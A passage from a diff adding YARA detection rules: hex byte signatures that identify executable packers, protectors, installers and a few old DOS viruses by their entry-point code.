+			$a0 = { B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 32 00 00 08 0C 00 48 E1 01 56 57 53 55 8B 5C 24 1C 85 DB 0F 84 AB 21 E8 BD 0E E6 60 0D 0B 6B 65 72 6E 6C 33 32 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule LameCryptv10
+	{
+	strings:
+			$a0 = { 60 66 9C BB ?? ?? ?? ?? 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Cygwin32
+	{
+	strings:
+			$a0 = { 55 89 E5 83 EC 04 83 3D }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule ASProtectv123RC4build0807exeAlexeySolodovnikov
+	{
+	strings:
+			$a0 = { 90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB ?? ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule Armadillov210b2
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 18 12 41 00 68 24 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov190
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 10 F2 40 00 68 64 9A 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule eXPressorProtection150XCGSoftLabs
+	{
+	strings:
+			$a0 = { EB 01 68 EB 01 ?? ?? ?? ?? 83 EC 0C 53 56 57 EB 01 ?? 83 3D ?? ?? ?? ?? 00 74 08 EB 01 E9 E9 56 01 00 00 EB 02 E8 E9 C7 05 ?? ?? ?? ?? 01 00 00 00 EB 01 C2 E8 E2 05 00 00 EB 02 DA 9F 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D0 59 59 EB 01 C8 EB 02 66 F0 68 ?? ?? ?? ?? E8 0E 05 00 00 59 EB 01 DD 83 65 F4 00 EB 07 8B 45 F4 40 89 45 F4 83 7D F4 61 73 1F EB 02 DA 1A 8B 45 F4 0F ?? ?? ?? ?? ?? ?? 33 45 F4 8B 4D F4 88 ?? ?? ?? ?? ?? EB 01 EB EB }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule VxNecropolis1963
+	{
+	strings:
+			$a0 = { B4 30 CD 21 3C 03 ?? ?? B8 00 12 CD 2F 3C FF B8 ?? ?? ?? ?? B4 4A BB 40 01 CD 21 ?? ?? FA 0E 17 BC ?? ?? E8 ?? ?? FB A1 ?? ?? 0B C0 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Shrinkv20
+	{
+	strings:
+			$a0 = { E9 ?? ?? 50 9C FC BE ?? ?? 8B FE 8C C8 05 ?? ?? 8E C0 06 57 B9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner02UPX06Anorganix
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 00 00 00 FF 57 8D B0 E8 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PESpinV071cyberbob
+	{
+	strings:
+			$a0 = { EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule XHider10GlobaL
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 EC 33 C0 89 45 EC B8 54 20 44 44 E8 DF F8 FF FF 33 C0 55 68 08 21 44 44 64 FF 30 64 89 20 8D 55 EC B8 1C 21 44 44 E8 E0 F9 FF FF 8B 55 EC B8 40 ?? ?? 44 E8 8B F5 FF FF 6A 00 6A 00 6A 02 6A 00 6A 01 68 00 00 00 40 A1 40 ?? ?? 44 E8 7E F6 FF FF 50 E8 4C F9 FF FF 6A 00 50 E8 4C F9 FF FF A3 28 ?? ?? 44 E8 CE FE FF FF 33 C0 5A 59 59 64 89 10 68 0F 21 44 44 8D 45 EC E8 F1 F4 FF FF C3 E9 BB F2 FF FF EB F0 E8 FC F3 FF FF FF FF FF FF 0E 00 00 00 63 3A 5C 30 30 30 30 30 30 31 2E 64 61 74 00 }
+	$a1 = { 85 D2 74 23 8B 4A F8 41 7F 1A 50 52 8B 42 FC E8 30 00 00 00 89 C2 58 52 8B 48 FC E8 48 FB FF FF 5A 58 EB 03 FF 42 F8 87 10 85 D2 74 13 8B 4A F8 49 7C 0D FF 4A F8 75 08 8D 42 F8 E8 5C FA FF FF C3 8D 40 00 85 C0 7E 24 50 83 C0 0A 83 E0 FE 50 E8 2F FA FF FF 5A 66 C7 44 02 FE 00 00 83 C0 08 5A 89 50 FC C7 40 F8 01 00 00 00 C3 31 C0 C3 90 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1
+	}
+	
+	
+	rule PseudoSigner01MicrosoftVisualC70DLLAnorganix
+	{
+	strings:
+			$a0 = { 55 8D 6C 01 00 81 EC 00 00 00 00 8B 45 90 83 F8 01 56 0F 84 00 00 00 00 85 C0 0F 84 ?? ?? ?? ?? E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXEShieldV05Smoke
+	{
+	strings:
+			$a0 = { E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED BC 1A 40 00 EB 01 00 8D B5 46 1B 40 00 BA B3 0A 00 00 EB 01 00 8D 8D F9 25 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 }
+	$a1 = { E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED BC 1A 40 00 EB 01 00 8D B5 46 1B 40 00 BA B3 0A 00 00 EB 01 00 8D 8D F9 25 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4 90 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	rule UnnamedScrambler25Ap0ke
+	{
+	strings:
+			$a0 = { 55 8B EC B9 0B 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 6C 3E 40 00 E8 F7 EA FF FF 33 C0 55 68 60 44 40 00 64 FF 30 64 89 20 BA 70 44 40 00 B8 B8 6C 40 00 E8 62 F3 FF FF 8B D8 85 DB 75 07 6A 00 E8 A1 EB FF FF BA E8 64 40 00 8B C3 8B 0D B8 6C 40 00 E8 37 D3 FF FF C7 05 BC 6C 40 00 0A 00 00 00 BB 68 6C 40 00 BE 90 6C 40 00 BF E8 64 40 00 B8 C0 6C 40 00 BA 04 00 00 00 E8 07 EC FF FF 83 3B 00 74 04 33 C0 89 03 8B D7 8B C6 E8 09 F3 FF FF 89 03 83 3B 00 0F 84 BB 04 00 00 B8 C0 6C 40 00 8B 16 E8 06 E2 FF FF B8 C0 6C 40 00 E8 24 E1 FF FF 8B D0 8B 03 8B 0E E8 D1 D2 FF FF 8B C7 A3 20 6E 40 00 8D 55 EC 33 C0 E8 0C D4 FF FF 8B 45 EC B9 1C 6E 40 00 BA 18 6E 40 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule Armadillov177
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 B0 71 40 00 68 6C 37 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxTrivial25
+	{
+	strings:
+			$a0 = { B4 4E FE C6 CD 21 B8 ?? 3D BA ?? 00 CD 21 93 B4 40 CD }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule KBySV022shoooo
+	{
+	strings:
+			$a0 = { 68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3 11 55 07 8B EC B8 ?? ?? ?? ?? E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule InnoSetupModule
+	{
+	strings:
+			$a0 = { 49 6E 6E 6F 53 65 74 75 70 4C 64 72 57 69 6E 64 6F 77 00 00 53 54 41 54 49 43 }
+	$a1 = { 55 8B EC 83 C4 ?? 53 56 57 33 C0 89 45 F0 89 45 ?? 89 45 ?? E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1
+	}
+	
+	
+	rule piritv15
+	{
+	strings:
+			$a0 = { 5B 24 55 50 44 FB 32 2E 31 5D }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SoftSentryv30
+	{
+	strings:
+			$a0 = { 55 8B EC 83 EC ?? 53 56 57 E9 B0 06 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EncryptPEV22007411WFS
+	{
+	strings:
+			$a0 = { 60 9C 64 FF 35 00 00 00 00 E8 1B 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 54 65 6D 70 50 61 74 68 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+		rule Armadillov19x
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 98 ?? ?? ?? 68 10 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov285
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 68 ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 24 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ASProtectvxx
+	{
+	strings:
+			$a0 = { 60 ?? ?? ?? ?? ?? 90 5D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 03 DD }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ExeShieldv17
+	{
+	strings:
+			$a0 = { EB 06 68 90 1F 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Splasherv10v30
+	{
+	strings:
+			$a0 = { 9C 60 8B 44 24 24 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 50 E8 ED 02 ?? ?? 8C C0 0F 84 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FreeCryptor01build002GlOFF
+	{
+	strings:
+			$a0 = { 8B 04 24 40 90 83 C0 07 80 38 90 90 74 02 EB FF 90 68 27 ?? ?? 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 FF E4 90 8B 04 24 64 A3 00 00 00 00 8B 64 24 08 90 83 C4 08 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule EXEShieldV06SMoKE
+	{
+	strings:
+			$a0 = { E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED D4 1A 40 00 EB 01 00 8D B5 5E 1B 40 00 BA A1 0B 00 00 EB 01 00 8D 8D FF 26 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 }
+	$a1 = { E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED D4 1A 40 00 EB 01 00 8D B5 5E 1B 40 00 BA A1 0B 00 00 EB 01 00 8D 8D FF 26 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4 90 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner02MicrosoftVisualBasic5060Anorganix
+	{
+	strings:
+			$a0 = { 68 ?? ?? ?? ?? E8 0A 00 00 00 00 00 00 00 00 00 30 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPack118DllLZMA430ap0x
+	{
+	strings:
+			$a0 = { 80 7C 24 08 01 0F 85 ?? 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 9F 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A 00 00 FF 34 37 FF 74 37 04 FF D3 61 83 C7 08 83 3C 37 00 75 E6 83 BD 0D 0B 00 00 00 74 0E 83 BD 11 0B 00 00 00 74 05 E8 F6 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 AA 0A 00 00 89 85 1D 0B 00 00 5B 60 FF B5 F9 0A 00 00 56 FF B5 1D 0B 00 00 FF D3 61 8B B5 1D 0B 00 00 8B C6 EB 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule PKLITEv100v103
+	{
+	strings:
+			$a0 = { B8 ?? ?? BA ?? ?? 8C DB 03 D8 3B }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Shrinkerv34
+	{
+	strings:
+			$a0 = { 83 3D B4 ?? ?? ?? ?? 55 8B EC 56 57 75 6B 68 00 01 00 00 E8 ?? 0B 00 00 83 C4 04 8B 75 08 A3 B4 ?? ?? ?? 85 F6 74 23 83 7D 0C 03 77 1D 68 FF }
+	$a1 = { BB ?? ?? BA ?? ?? 81 C3 07 00 B8 40 B4 B1 04 D3 E8 03 C3 8C D9 49 8E C1 26 03 0E 03 00 2B }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule Shrinkerv32
+	{
+	strings:
+			$a0 = { 83 3D ?? ?? ?? ?? ?? 55 8B EC 56 57 75 65 68 00 01 ?? ?? E8 ?? E6 FF FF 83 C4 04 8B 75 08 A3 ?? ?? ?? ?? 85 F6 74 1D 68 FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Shrinkerv33
+	{
+	strings:
+			$a0 = { 83 3D ?? ?? ?? 00 00 55 8B EC 56 57 75 65 68 00 01 00 00 E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01JDPack1xJDProtect09Anorganix
+	{
+	strings:
+			$a0 = { 60 E8 22 00 00 00 5D 8B D5 81 ED 90 90 90 90 2B 95 90 90 90 90 81 EA 06 90 90 90 89 95 90 90 90 90 83 BD 45 00 01 00 01 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Upack024027beta028alphaDwing
+	{
+	strings:
+			$a0 = { BE 88 01 40 00 AD 8B F8 95 AD 91 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01LocklessIntroPackAnorganix
+	{
+	strings:
+			$a0 = { 2C E8 EB 1A 90 90 5D 8B C5 81 ED F6 73 90 90 2B 85 90 90 90 90 83 E8 06 89 85 FF 01 EC AD E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov250b3
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 B8 ?? ?? ?? 68 F8 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 20 ?? ?? ?? 33 D2 8A D4 89 15 D0 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEBundlev02v20x
+	{
+	strings:
+			$a0 = { 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 6A 04 68 ?? 10 ?? ?? 68 ?? 02 ?? ?? 6A ?? FF 95 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SoftProtectwwwsoftprotectbyru
+	{
+	strings:
+			$a0 = { E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? C7 00 00 00 00 00 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NTPackerV2XErazerZ
+	{
+	strings:
+			$a0 = { 4B 57 69 6E 64 6F 77 73 00 10 55 54 79 70 65 73 00 00 3F 75 6E 74 4D 61 69 6E 46 75 6E 63 74 69 6F 6E 73 00 00 47 75 6E 74 42 79 70 61 73 73 00 00 B7 61 50 4C 69 62 75 00 00 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule SiliconRealmsInstallStub
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 ?? 92 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 ?? ?? 40 00 33 D2 8A D4 89 15 ?? ?? 40 00 8B C8 81 E1 FF 00 00 00 89 0D ?? ?? 40 00 C1 E1 08 03 CA 89 0D ?? ?? 40 00 C1 E8 10 A3 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule Armadillov430v440SiliconRealmsToolworks
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 40 ?? ?? 00 68 80 ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 ?? ?? 00 33 D2 8A D4 89 15 30 ?? ?? 00 8B C8 81 E1 FF 00 00 00 89 0D 2C ?? ?? 00 C1 E1 08 03 CA 89 0D 28 ?? ?? 00 C1 E8 10 A3 24 }
+	$a1 = { 60 E8 00 00 00 00 5D 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule MoleBoxv20
+	{
+	strings:
+			$a0 = { E8 ?? ?? ?? ?? 60 E8 4F }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule FucknJoyv10cUsAr
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED D8 05 40 00 FF 74 24 20 E8 8C 02 00 00 0B C0 0F 84 2C 01 00 00 89 85 6C 08 40 00 8D 85 2F 08 40 00 50 FF B5 6C 08 40 00 E8 EF 02 00 00 0B C0 0F 84 0C 01 00 00 89 85 3B 08 40 00 8D 85 3F 08 40 00 50 FF B5 6C 08 40 00 E8 CF 02 00 }
+	$a1 = { 60 E8 00 00 00 00 5D 81 ED D8 05 40 00 FF 74 24 20 E8 8C 02 00 00 0B C0 0F 84 2C 01 00 00 89 85 6C 08 40 00 8D 85 2F 08 40 00 50 FF B5 6C 08 40 00 E8 EF 02 00 00 0B C0 0F 84 0C 01 00 00 89 85 3B 08 40 00 8D 85 3F 08 40 00 50 FF B5 6C 08 40 00 E8 CF 02 00 00 0B C0 0F 84 EC 00 00 00 89 85 4D 08 40 00 8D 85 51 08 40 00 50 FF B5 6C 08 40 00 E8 AF 02 00 00 0B C0 0F 84 CC 00 00 00 89 85 5C 08 40 00 8D 85 67 07 40 00 E8 7B 02 00 00 8D B5 C4 07 40 00 56 6A 64 FF 95 74 07 40 00 46 80 3E 00 75 FA C7 06 74 6D 70 2E 83 C6 04 C7 06 65 78 65 00 8D 85 36 07 40 00 E8 4C 02 00 00 33 DB 53 53 6A 02 53 53 68 00 00 00 40 8D 85 C4 07 40 00 50 FF 95 74 07 40 00 89 85 78 07 40 00 8D 85 51 07 40 00 E8 21 02 00 00 6A 00 8D 85 7C 07 40 00 50 68 00 ?? ?? 00 8D 85 F2 09 40 00 50 FF }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner02VideoLanClientAnorganix
+	{
+	strings:
+			$a0 = { 55 89 E5 83 EC 08 90 90 90 90 90 90 90 90 90 90 90 90 90 90 01 FF FF 01 01 01 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 00 01 00 01 90 90 00 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+		rule SoftWrap
+	{
+	strings:
+			$a0 = { 52 53 51 56 57 55 E8 ?? ?? ?? ?? 5D 81 ED 36 ?? ?? ?? E8 ?? 01 ?? ?? 60 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AI1Creator1Beta2byMZ
+	{
+	strings:
+			$a0 = { E8 FE FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule JAMv211
+	{
+	strings:
+			$a0 = { 50 06 16 07 BE ?? ?? 8B FE B9 ?? ?? FD FA F3 2E A5 FB 06 BD ?? ?? 55 CB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv0978
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 24 88 40 ?? 87 DD 8B 85 A9 88 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Setup2GoInstallerStub
+	{
+	strings:
+			$a0 = { 5B 53 45 54 55 50 5F 49 4E 46 4F 5D 0D 0A 56 65 72 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule themida1005httpwwworeanscom
+	{
+	strings:
+			$a0 = { B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule yodasProtectorv1033exescrcomAshkbizDanehkar
+	{
+	strings:
+			$a0 = { E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8E 00 00 00 E8 03 00 00 00 EB 01 ?? E8 81 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B7 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AA 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ORiENv211DEMO
+	{
+	strings:
+			$a0 = { E9 5D 01 00 00 CE D1 CE CE 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv0977
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB A0 86 40 ?? 87 DD 8B 85 2A 87 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PESpinv13betaCyberbob
+	{
+	strings:
+			$a0 = { EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 71 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RCryptorv13bVaska
+	{
+	strings:
+			$a0 = { 61 83 EF 4F 60 68 ?? ?? ?? ?? FF D7 }
+	$a1 = { 61 83 EF 4F 60 68 ?? ?? ?? ?? FF D7 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule mkfpackllydd
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 5B 81 EB 05 00 00 00 8B 93 9F 08 00 00 53 6A 40 68 00 10 00 00 52 6A 00 FF 93 32 08 00 00 5B 8B F0 8B BB 9B 08 00 00 03 FB 56 57 E8 86 08 00 00 83 C4 08 8D 93 BB 08 00 00 52 53 FF E6 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PESpinV03cyberbob
+	{
+	strings:
+			$a0 = { EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 8B 95 CB 2C 40 00 8B 42 3C 03 C2 89 85 D5 2C 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D E9 2C 40 00 53 8F 85 B6 2B 40 00 BB ?? 00 00 00 B9 75 0A 00 00 8D BD 7E 2D 40 00 4F 30 1C 39 FE CB E2 F9 68 3C 01 00 00 59 8D BD B6 36 40 00 C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 1F 53 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 